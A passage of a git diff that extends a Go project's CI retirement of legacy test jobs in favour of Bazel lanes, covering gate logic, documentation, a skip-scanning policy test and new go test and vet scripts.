$RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" ci-gate: name: CI Gate / Required @@ -1891,8 +2069,10 @@ jobs: - package-npm - pr-policy-wrapper - pr-core-wrapper + - scripts-go-checks - pr-lint-wrapper - test-domain-uow + - test-dolt-server-fingerprint - contract-corpus - fmt-check - lint @@ -1924,8 +2104,10 @@ jobs: PACKAGE_NPM PR_POLICY_WRAPPER PR_CORE_WRAPPER + SCRIPTS_GO_CHECKS PR_LINT_WRAPPER TEST_DOMAIN_UOW + TEST_DOLT_SERVER_FINGERPRINT CONTRACT_CORPUS FMT_CHECK LINT @@ -1941,6 +2123,7 @@ jobs: BAZEL_COVERAGE BAZEL_EMBEDDED_RETIRED BAZEL_DOLT_SERVER_RETIRED + BAZEL_PR_LANES_RETIRED BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} CHECK_BUILD_TAGS: ${{ needs.check-build-tags.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} @@ -1958,8 +2141,10 @@ jobs: PACKAGE_NPM: ${{ needs.package-npm.result }} PR_POLICY_WRAPPER: ${{ needs.pr-policy-wrapper.result }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} + SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} TEST_DOMAIN_UOW: ${{ needs.test-domain-uow.result }} + TEST_DOLT_SERVER_FINGERPRINT: ${{ needs.test-dolt-server-fingerprint.result }} CONTRACT_CORPUS: ${{ needs.contract-corpus.result }} FMT_CHECK: ${{ needs.fmt-check.result }} LINT: ${{ needs.lint.result }} @@ -1980,11 +2165,12 @@ jobs: BAZEL_CALL: ${{ needs.bazel.result }} BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} - # D2: which legacy tiers PR Risk retired for this PR - # (BAZEL_*_RETIRED below). + # D2: which legacy tiers PR Risk, or this workflow (pr_lanes), + # retired for this PR (BAZEL_*_RETIRED below). BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} + BAZEL_COVERS_PR_LANES: ${{ needs.bazel-coverage.outputs.pr_lanes }} run: | skipped_ok="" if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then @@ -1997,10 +2183,17 @@ jobs: skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL - # Where PR Risk retired a legacy tier, this run's Bazel lanes for - # it are the tier's only pre-merge run: each must have run - # remotely and passed. Mode skip (the farm switch off), or any - # other result, is red whatever bazel-gate.sh allows. + # D2 step 3: this workflow's legacy jobs that stand down where + # bazel-coverage says pr_lanes (exactly "true"); their Bazel lanes + # are then required below. + if [[ "$BAZEL_COVERS_PR_LANES" == "true" ]]; then + skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER TEST_DOMAIN_UOW CONTRACT_CORPUS" + fi + # Where a legacy tier is retired (by PR Risk or by this + # workflow), this run's Bazel lanes for it are the tier's only + # pre-merge run: each must have run remotely and passed. Mode skip + # (the farm switch off), or any other result, is red whatever + # bazel-gate.sh allows. # retired ID FLAG COVERED TIER LANE...: set and export ID. retired() { local id="$1" flag="$2" covered="$3" tier="$4" result=success lane @@ -2011,13 +2204,14 @@ jobs: [[ "${!lane:-}" == "success" ]] || result="not-run-remotely" done if [[ "$result" != "success" ]]; then - echo "::error::PR Risk's legacy $tier is retired ($flag) and its Bazel lanes ($*) did not all run remotely and pass (mode '${BAZEL_RBE_MODE:-none}'). If remote execution is off on purpose, commit $flag: \"false\" in pr.yml and pr-risk.yml and push this PR again." + echo "::error::The legacy $tier is retired ($flag) and its Bazel lanes ($*) did not all run remotely and pass (mode '${BAZEL_RBE_MODE:-none}'). If remote execution is off on purpose, commit $flag: \"false\" in pr.yml and pr-risk.yml and push this PR again." fi fi printf -v "$id" '%s' "$result" export "${id?}" } - retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "embedded Dolt tier" BAZEL_EMBEDDED - retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE + retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "PR Risk embedded Dolt tier" BAZEL_EMBEDDED + retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "PR Risk proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE + retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 466afb60e..213909bc2 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -51,8 +51,9 @@ Current PR-related workflow names: call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in - `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED`, or - `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`, run in their place (see + `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED`; + `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; or `BAZEL_TEST`, `BAZEL_PURE` + and `BAZEL_DOLTSERVER` run in their place (see [Legacy Tier Retirement](#legacy-tier-retirement-d2)). `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable or the fork flag: mode `skip` allows every Bazel id to skip, modes `local` @@ -82,16 +83,18 @@ Current PR-related workflow names: farm is down, or the beads CI RBE client certificate expires (about 2027-09-27; a partial secret set also fails every same-repo run), fix `main` (`make bazel-sync`) or renew the secrets. To turn remote execution - off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` and - `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false"` in both + off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"`, + `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false"` and + `BAZEL_RETIRES_LEGACY_PR_LANES: "false"` in both `pr.yml` and `pr-risk.yml` (see [Legacy Tier Retirement](#legacy-tier-retirement-d2)), then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, which the gate accepts (fork PRs still build, in mode `cache`, so drift on `main` still reaches them). Unsetting the variable while a flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR - (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`), because PR Risk - no longer runs those legacy tiers for them. If rbe-west closes the read-only cache, fork runs + (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`, + `BAZEL_PR_LANES_RETIRED`), because the legacy tiers no longer run for + them. If rbe-west closes the read-only cache, fork runs fall back to executing everything locally (slower, still green). If it is slow rather than closed, each lookup gives up after `fork-cache`'s 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit @@ -459,6 +462,11 @@ Do not require these existing check names directly: - `Test (ubuntu-latest)` - `Test (macos-latest)` - `Test (storage domain + uow)` +- `Test (Dolt server fingerprint)` +- `Go test (scripts), go vet and Bazel-skipped tests` +- `Contract corpus (golden + determinism + conformance)` +- `PR Core (wrapper timing)` +- `Build Artifacts` - `Bazel tier coverage` - `Build (Embedded Dolt)` - `Test (Embedded Dolt Storage 1/5)` through `Test (Embedded Dolt Storage 5/5)` @@ -602,10 +610,15 @@ intentionally absent for that event or risk tier: `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's result) must be `success`. +- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER`, + `CHECK_CMD_BD_PUREGEO_TESTS`, `TEST_DOMAIN_UOW` and `CONTRACT_CORPUS` may + be `skipped` when `bazel-coverage` reported `pr_lanes=true`. - In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded - lane did not run remotely and pass, and `BAZEL_DOLT_SERVER_RETIRED` when - `dolt_server=true` but the proxied and server-storage lanes did not. + lane did not run remotely and pass, `BAZEL_DOLT_SERVER_RETIRED` when + `dolt_server=true` but the proxied and server-storage lanes did not, and + `BAZEL_PR_LANES_RETIRED` when `pr_lanes=true` but the test, pure-Go and + dolt-server lanes did not. - All baseline jobs must be `success`. This keeps branch protection pointed at stable aggregate jobs while preserving @@ -667,15 +680,17 @@ The current embedded Dolt topology already fits the required-check model: ### Legacy Tier Retirement (D2) -D2 retires `pr-risk.yml`'s legacy Dolt tiers on same-repo PRs, one step at -a time, where `pr.yml`'s gated Bazel lanes run the same tests: +D2 retires legacy test jobs on same-repo PRs, one step at a time, where +`pr.yml`'s gated Bazel lanes run the same tests: `pr-risk.yml`'s Dolt tiers +(steps 1 and 2) and `pr.yml`'s own Go test jobs (step 3): -| Step | Legacy jobs (`pr-risk.yml`) | Bazel lanes (`bazel.yml`) | Flag | `pr.yml` gate id | +| Step | Legacy jobs | Bazel lanes (`bazel.yml`) | Flag | `pr.yml` gate id | | --- | --- | --- | --- | --- | | 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | | 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | +| 3 | `pr.yml`: `pr-core-wrapper` (PR Core), `build-artifacts`, `check-cmd-bd-puregeo-tests` (pure-Go and js/wasm), `test-domain-uow`, `contract-corpus` | `bazel-test` (`--config=ci`, which also publishes `bazel-ci-build-artifacts`), `bazel-pure` (`--config=pure`, `--config=js-wasm`), `bazel-doltserver` (`--config=doltserver`) | `BAZEL_RETIRES_LEGACY_PR_LANES` | `BAZEL_PR_LANES_RETIRED` | @@ -685,6 +700,88 @@ apply. The Bazel lanes run the same tests with the same shard scripts and manifests. On those PRs they are the tiers' only pre-merge run, and `CI Gate / Required` requires them to have run remotely and passed. +- Step 3 specifics (`pr.yml`'s own jobs, so the legacy jobs and their Bazel + lanes run in the same `pr.yml` run): + - The five jobs add `needs: bazel-coverage` and + `if: needs.bazel-coverage.outputs.pr_lanes != 'true'`; `pr.yml`'s gate + accepts their skips only when `pr_lanes` is exactly `true`, and then + requires `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER` to have run + remotely and passed (`BAZEL_PR_LANES_RETIRED`). `pr-risk.yml` commits + the flag too, only so the shared `bazel-coverage` job stays identical; + nothing in PR Risk reads `pr_lanes`. + - Artifact consumers: `build-artifacts`' `ci-build-artifacts` fed PR Core, + domain+uow and the package gates. The first two stand down with it. + The package gates (`package-mcp`, `package-npm`) now also need + `bazel-coverage` and the `bazel` call, and download + `bazel-ci-build-artifacts` (published by `bazel-test`, same layout, bd + built as `//cmd/bd:bd_for_tests`) where `pr_lanes` is `true`. They wait + for the whole call, so on PRs that change a package they finish a few + minutes after it. The Bazel bd carries no vcs build info (`bd version` + prints `1.3.0 (dev)`, no commit); no consumer reads it. Verified + 2026-10-02: both package gates pass with the Bazel-built bd (MCP: 228 + passed, 5 skipped; npm: all tests and the pack dry run), the same as + with a `go build` bd. No other job in any workflow reads `pr.yml`'s + artifacts (`docs-autofix.yml` reads `check-doc-flags`' + `cli-docs-freshness-patch`, which is unaffected). + - Kept on every PR: the Dolt server fingerprint (container image vs the + pinned dolt CLI the Bazel dolt-server lanes start), formerly + `test-domain-uow`'s first step, is its own required job + `test-dolt-server-fingerprint` (`Test (Dolt server fingerprint)`, + `TEST_DOLT_SERVER_FINGERPRINT`). `check-release-target-cross-compilation` + still `go build`s `./...` with `CGO_ENABLED=0` on every PR. + - Also kept on every PR, in the required job `scripts-go-checks` + (`SCRIPTS_GO_CHECKS`; PR Core's environment: dolt, git and dolt + identity, `scripts/ci/lib/test-env.sh`): + - `go test ./scripts/...` with PR Core's flags + (`scripts/ci/scripts-go-test.sh`). The repository policy tests, + including the D2 guards, check part or all of their rules under + `go test` only (their inputs are not in `//scripts:scripts_test`'s + runfiles), so without this they would have no required pre-merge run + on covered PRs. + - `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested + equal to the toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): + rules_go's `go_test` runs no vet, so a `go test` vet finding would + otherwise first fail on `main` and then on every fork PR. + - the Go tests `bazel test --config=ci` does not run or skips + (`tools/bazel/equivalence_allowlist.txt`), under `go test` + (`scripts/ci/allowlisted-go-tests.sh`); each entry must match a test + that ran and passed. + + `TestBazelOnlySkipsAreAllowlisted` (itself go-test-only, so in that + job) requires every top-level test with a `TEST_SRCDIR`- or + `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` + entry, and every test that runs part of its checks under `go test` + only to live under `./scripts`. + - Package gates on a covered PR in a non-remote mode (the farm switch off) + fail in their own "Check the Bazel-built bd exists" step, naming + `BAZEL_PR_LANES_RETIRED`, instead of on a missing artifact. + - Every artifact `bazel.yml` uploads sets `overwrite: true`, so + "Re-run failed jobs" of a lane (the recovery for an eviction or a flake) + does not fail on the upload with a 409 (policy-tested). + - PR Core's other work: `scripts/ci/pr-core.sh` is the one `go test` (plus + a timing summary); its `BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1` is + `test:prcore`'s too. `bazel-test`'s equivalence step compares Bazel's + tests with `go list`, not with PR Core's run, so it is unaffected; + `nightly.yml` still runs PR Core's `go test -json` for the skip-parity + check. + - `--config=sole-run` (`--nocache_test_results`, + `--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 + hardening) is added to every `bazel test` of the three lanes in mode + `remote` only (`BAZEL_SOLE_RUN`), which every covered PR runs in. Fork + and Dependabot runs (modes `cache` and `local`), whose legacy jobs still + run, keep cached results, which keeps their local runs short. Measured + 2026-10-02: `bazel test //... --config=ci --nocache_test_results` + remotely took 132 s (113 targets). + - Pinned for step 3 (`scripts/pr_lanes_bazel_coverage_test.go`): the + three lanes' Bazel steps and the `prcore`, `ci`, `doltserver`, `pure`, + `js-wasm` and `sole-run` rc lines exactly; no other rc line of a config + they use may filter, narrow or re-run tests; no BUILD rule other than + the pinned retired-tier targets, and no `.bzl`, may carry `-test.short`, + `-test.run`, `-test.skip`, `BEADS_TEST_SKIP`, `--test_filter` or a + non-`False` `flaky`. (Pinning every target's args, as steps 1 and 2 do + for their few targets, is not practical for the whole tree.) The flaky + target query in the step 1 and 2 lanes covers `tests(//...)` and runs on + every covered PR. - Switch: one committed workflow env flag per step (table above), each set to the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` (policy-tested). They are deliberately not the `RBE_WEST_WORKERS` repo @@ -712,8 +809,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job (policy-tested). The job does no checkout and runs no repository code. It reads the flags, the event, the fork flag and the actor (no secret, - no variable), and outputs `embedded` (step 1) and `dolt_server` - (step 2). + no variable), and outputs `embedded` (step 1), `dolt_server` + (step 2) and `pr_lanes` (step 3). - Each legacy test job adds `needs.bazel-coverage.outputs. != 'true'` to its `if`; `build-embedded` adds @@ -723,8 +820,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - `pr.yml`'s gate requires `BAZEL_COVERAGE` (the job's result) and one `BAZEL_*_RETIRED` id per step. Such an id is red when its step's output is `true` and the Bazel call's mode is not `remote` or any of the step's - lanes (`BAZEL_EMBEDDED`; `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`) is - not `success`. In particular, mode `skip` (the farm switch off) and + lanes (`BAZEL_EMBEDDED`; `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; + `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER`) is not `success`. In particular, mode `skip` (the farm switch off) and mode `cache` (the executor secret missing) are red there, although `bazel-gate.sh` alone would accept them. - A failed, cancelled or missing decision is red in both gates. diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 082661b75..f0182cb17 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -32,6 +32,7 @@ go_test( "conformance_script_test.go", "host_tools_test.go", "install_dolt_test.go", + "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", "pull_dolt_image_test.go", diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go index bc89c5212..d87d4a126 100644 --- a/scripts/bazel_skip_allowlist_test.go +++ b/scripts/bazel_skip_allowlist_test.go @@ -9,6 +9,7 @@ import ( "path/filepath" "regexp" "sort" + "strconv" "strings" "testing" ) @@ -38,10 +39,27 @@ func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { if err != nil { t.Fatal(err) } - if len(found) < 8 { + if len(found) < 16 { t.Fatalf("found only %d Bazel-skipping tests (%v); the scan is broken", len(found), found) } + partial := 0 + defer func() { + if partial < 5 { + t.Errorf("found only %d tests with a go-test-only part; the scan is broken", partial) + } + }() for _, f := range found { + if f.partial { + // D2 step 3: under go test, only ./scripts/... still runs on every + // PR (pr.yml's scripts-go-checks job), so a Test that runs part + // of its checks under go test only must live there. + partial++ + if f.pkg != "scripts" && !strings.HasPrefix(f.pkg, "scripts/") { + t.Errorf("%s %s runs part of its checks under go test only (%s); outside ./scripts/... nothing runs that part on every PR: move the check to ./scripts or make the test t.Skip under Bazel and allowlist it", + f.pkg, f.test, f.where) + } + continue + } if !skipAllowlisted(entries, f.pkg, f.test) { t.Errorf("%s %s skips under Bazel (%s) but tools/bazel/equivalence_allowlist.txt has no `%s %s skip # why` entry", f.pkg, f.test, f.where, f.pkg, f.test) @@ -127,7 +145,41 @@ FUNC TestNoSkip(t *testing.T) { } } +FUNC TestGoOnlyBlock(t *testing.T) { + if os.Getenv("TEST_SRCDIR") == "" { + t.Error("checked under go test only") + } +} + +FUNC TestGoOnlySetup(t *testing.T) { + if !bazeltest.IsBazel() { + t.Setenv("X", "") + } +} + +FUNC TestLoopContinue(t *testing.T) { + for range []int{1} { + if os.Getenv("TEST_SRCDIR") != "" { + continue + } + } +} + FUNC helperTakingM(m *testing.M) {} +`)) + write("scripts/s_test.go", fixtureFuncs(`package scripts + +import ( + "testing" + + "example.com/m/bazeltest" +) + +FUNC TestScriptsPartial(t *testing.T) { + if bazeltest.IsBazel() { + return + } +} `)) write("node_modules/x/x_test.go", "package x\nimport \"testing\"\nfunc TestIgnored(t *testing.T) { if bazeltest.IsBazel() { t.Skip() } }\n") write("sub/go.mod", "module example.com/sub\n") @@ -139,10 +191,14 @@ FUNC helperTakingM(m *testing.M) {} } var got []string for _, f := range found { - got = append(got, f.pkg+" "+f.test) + got = append(got, f.pkg+" "+f.test+" "+strconv.FormatBool(f.partial)) } sort.Strings(got) - want := []string{"a TestEnvGuard", "a TestIsBazelGuard", "a TestLaterGuard", "a TestViaHelper"} + want := []string{ + "a TestEnvGuard false", "a TestGoOnlyBlock true", "a TestIsBazelGuard false", + "a TestLaterGuard false", "a TestLoopContinue true", "a TestNoSkip true", "a TestViaHelper false", + "scripts TestScriptsPartial true", + } if strings.Join(got, ",") != strings.Join(want, ",") { t.Errorf("scan found %v, want %v", got, want) } @@ -155,7 +211,13 @@ FUNC helperTakingM(m *testing.M) {} } } -type bazelSkip struct{ pkg, test, where string } +// bazelSkip: a top-level test that skips under Bazel, or (partial) runs +// part of its checks only under go test (a Bazel-guarded return/continue, +// or a block guarded by TEST_SRCDIR == "" / !IsBazel()). +type bazelSkip struct { + pkg, test, where string + partial bool +} type skipEntry struct{ pkg, test string } @@ -255,7 +317,9 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { where = "via " + h } if where != "" { - out = append(out, bazelSkip{pkg, fn.Name.Name, where}) + out = append(out, bazelSkip{pkg, fn.Name.Name, where, false}) + } else if pos := goTestOnlyPart(fn.Body); pos.IsValid() { + out = append(out, bazelSkip{pkg, fn.Name.Name, "line " + strconv.Itoa(fset.Position(pos).Line), true}) } } } @@ -264,6 +328,83 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { return out, nil } +// goTestOnlyPart: the first if statement (outside closures) that ends a +// Bazel run early (Bazel condition, body returns or continues) or runs +// checks only under go test (TEST_SRCDIR == "" or !IsBazel(), body reports +// failures). +func goTestOnlyPart(body *ast.BlockStmt) token.Pos { + pos := token.NoPos + ast.Inspect(body, func(n ast.Node) bool { + if pos.IsValid() { + return false + } + switch n := n.(type) { + case *ast.FuncLit: + return false + case *ast.IfStmt: + if (bazelCond(n.Cond) && exits(n.Body)) || (goTestCond(n.Cond) && checks(n.Body)) { + pos = n.Pos() + return false + } + } + return true + }) + return pos +} + +// checks: the block reports test failures (t.Error*, t.Fatal*), i.e. it +// is a check, not go-test-only setup. +func checks(body *ast.BlockStmt) bool { + found := false + ast.Inspect(body, func(n ast.Node) bool { + if call, ok := n.(*ast.CallExpr); ok { + if sel, ok := call.Fun.(*ast.SelectorExpr); ok { + switch sel.Sel.Name { + case "Error", "Errorf", "Fatal", "Fatalf": + found = true + } + } + } + return !found + }) + return found +} + +func exits(body *ast.BlockStmt) bool { + for _, st := range body.List { + switch st := st.(type) { + case *ast.ReturnStmt: + return true + case *ast.BranchStmt: + if st.Tok == token.CONTINUE { + return true + } + } + } + return false +} + +// goTestCond: TEST_SRCDIR == "" or !...IsBazel(). +func goTestCond(cond ast.Expr) bool { + switch c := cond.(type) { + case *ast.ParenExpr: + return goTestCond(c.X) + case *ast.UnaryExpr: + if call, ok := c.X.(*ast.CallExpr); ok && c.Op == token.NOT { + sel, ok := call.Fun.(*ast.SelectorExpr) + return ok && sel.Sel.Name == "IsBazel" + } + case *ast.BinaryExpr: + if c.Op == token.LAND { + return goTestCond(c.X) || goTestCond(c.Y) + } + if lit, ok := c.Y.(*ast.BasicLit); ok && c.Op == token.EQL && lit.Value == `""` { + return mentionsTestSrcdir(c.X) + } + } + return false +} + func takesTestingT(fn *ast.FuncDecl) bool { params := fn.Type.Params.List if len(params) != 1 { diff --git a/scripts/ci/allowlisted-go-tests.sh b/scripts/ci/allowlisted-go-tests.sh new file mode 100755 index 000000000..dc3b32430 --- /dev/null +++ b/scripts/ci/allowlisted-go-tests.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +# The Go tests the Bazel PR-core lane does not run or skips +# (tools/bazel/equivalence_allowlist.txt), under `go test` in PR Core's test +# environment. pr.yml runs this on every PR (scripts-go-checks): +# where PR Core stands down for the Bazel lane (D2 step 3) it is their only +# pre-merge run. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" + +# shellcheck source=../../.buildflags +source "$REPO_ROOT/.buildflags" +# shellcheck source=lib/test-env.sh +source "$REPO_ROOT/scripts/ci/lib/test-env.sh" + +cd "$REPO_ROOT" + +beads_test_env_enter + +# As in pr.yml's PR Core step. +export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 + +python3 tools/bazel/run_allowlisted_go_tests.py "$@" diff --git a/scripts/ci/go-test-vet.sh b/scripts/ci/go-test-vet.sh new file mode 100755 index 000000000..91fbbea2a --- /dev/null +++ b/scripts/ci/go-test-vet.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# The vet checks `go test` runs on every package it tests (cmd/go's +# defaultVetFlags), over the whole module. rules_go's go_test runs none, so +# where PR Core's `go test ./...` stands down for the Bazel lane (D2 step 3) +# this is what keeps them pre-merge. pr.yml runs it on every PR +# (scripts-go-checks). scripts/pr_lanes_bazel_coverage_test.go keeps the list +# equal to the Go toolchain's. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" + +# shellcheck source=../../.buildflags +source "$REPO_ROOT/.buildflags" +# shellcheck source=lib/timing.sh +source "$REPO_ROOT/scripts/ci/lib/timing.sh" + +cd "$REPO_ROOT" + +GO_TEST_VET_FLAGS=(-atomic -bool -buildtags -directive -errorsas -ifaceassert -nilfunc -printf -slog -stringintconv -tests) + +ci_time "go vet (go test's checks)" -- \ + go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./... diff --git a/scripts/ci/scripts-go-test.sh b/scripts/ci/scripts-go-test.sh new file mode 100755 index 000000000..14b4a062b --- /dev/null +++ b/scripts/ci/scripts-go-test.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# PR Core's `go test`, for the ./scripts/... packages only: the repository +# policy tests (workflow, Bazel and CI guards), several of which check part of +# their rules, or everything, under go test only. pr.yml runs this on every PR +# (scripts-go-checks), so they run before merge also where PR Core stands +# down for the Bazel lane (D2 step 3). Same flags and environment as +# scripts/ci/pr-core.sh. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" + +# shellcheck source=../../.buildflags +source "$REPO_ROOT/.buildflags" +# shellcheck source=lib/timing.sh +source "$REPO_ROOT/scripts/ci/lib/timing.sh" +# shellcheck source=lib/test-env.sh +source "$REPO_ROOT/scripts/ci/lib/test-env.sh" + +cd "$REPO_ROOT" + +beads_test_env_enter + +ci_time "scripts go test" -- \ + go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/... diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 76c5a1070..747a6e38e 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -170,9 +170,14 @@ func readGoreleaserBuilds(t *testing.T) []goreleaserBuild { func TestPRCoreRequiresExcludeReadPermissionCoverage(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-core-wrapper") - if job.RunsOn != "ubuntu-latest" || job.If != "" || job.ContinueOnError { + // Its only condition is D2 step 3's stand-down, where Bazel's PR-core + // lane (required instead) runs the test with the same requirement. + if job.RunsOn != "ubuntu-latest" || job.If != prLaneLegacyIf || job.ContinueOnError { t.Error("exclude permission coverage must remain in the required Linux PR Core job") } + if !contains(bazelPRLaneRCLines["prcore"], "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1") { + t.Error("Bazel's PR-core lane must require actual exclude read-permission coverage where PR Core stands down") + } step := job.Steps[job.stepIndex(t, "Run PR core wrapper")] if step.If != "" || (step.ContinueOnError != nil && step.ContinueOnError != false) || strings.TrimSpace(step.Run) != "make ci-pr-core" { t.Error("exclude permission coverage must run through the nonoptional PR Core wrapper") @@ -438,7 +443,10 @@ func TestPRCIGateRequiresJSWasmHookExecution(t *testing.T) { if job.RunsOn != "ubuntu-latest" { t.Errorf("js/wasm hook job runs-on = %q, want ubuntu-latest", job.RunsOn) } - if job.If != "" { + // Only D2 step 3's stand-down, where Bazel's pure-Go and js/wasm lane + // (TestBazelPureJobMirrorsPureGoJob) is required instead + // (TestPRLegacyLanesDeferToBazelLanes). + if job.If != prLaneLegacyIf { t.Errorf("js/wasm hook job is conditional: %q", job.If) } @@ -571,9 +579,10 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { }) } - // pr.yml's job is the one lane with both the image and the pinned dolt - // CLI, so it is where the container and local test servers are compared. - job := readCIWorkflow(t, "pr.yml").job(t, "test-domain-uow") + // The container and local test servers are compared in pr.yml's own + // every-PR job (it was test-domain-uow's first step until D2 step 3; + // TestPRDoltServerFingerprintRunsOnEveryPR pins it). + job := readCIWorkflow(t, "pr.yml").job(t, prFingerprintJob) const fingerprintStep = "Test Dolt server fingerprint (container + local)" assertStepRunsExactly(t, job, fingerprintStep, "go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/") @@ -876,6 +885,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("race"), }) + // D2 step 3: PR Core's 